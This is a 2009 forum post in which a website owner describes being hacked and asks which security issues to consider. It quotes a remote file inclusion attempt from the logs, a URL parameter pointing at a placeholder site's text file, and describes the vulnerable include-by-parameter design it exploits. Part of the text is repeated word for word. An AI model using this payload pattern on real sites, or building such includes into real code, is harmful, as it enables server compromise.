TwinkleTits
06-24-2009, 11:49 AM
The only vulnerability I know of is not filtering input fields which makes your site prone to cross site scripting. My site got hacked last year by some Brazilians then some weird shit happened I got an email from a Brazilian guy telling me that hackers were using my site to send spam and somehow he managed to edit my PHP files and he patched up the vulnerabilities but adding the htmlelements command to all the input fields. How the hell did he edit the PHP files? He woulda had to either have the FTP username and password or control panel username and pass and either way I dunno how the hell he managed to get that info.
What are other things to take into consideration when hosting a website? I spotted that people were messing with the URL variables for example my website has pages like ?get=drugs which tells the index.php to include drugs.php. I checked the logs and people were typing in stuff like ?get=http://www.suspicioussite/suspiciousfile.txt. Obviously they were trying to get my site to run these malicious text files. Is that considered cross site scripting too?
In fact my log files were packed full of weird shit that people were doing half of it I didn't understand at all.
What are other things to take into consideration when hosting a website? I spotted that people were messing with the URL variables for example my website has pages like ?get=drugs which tells the index.php to include drugs.php. I checked the logs and people were typing in stuff like ?get=http://www.suspicioussite/suspiciousfile.txt. Obviously they were trying to get my site to run these malicious text files. Is that considered cross site scripting too?
In fact my log files were packed full of weird shit that people were doing half of it I didn't understand at all.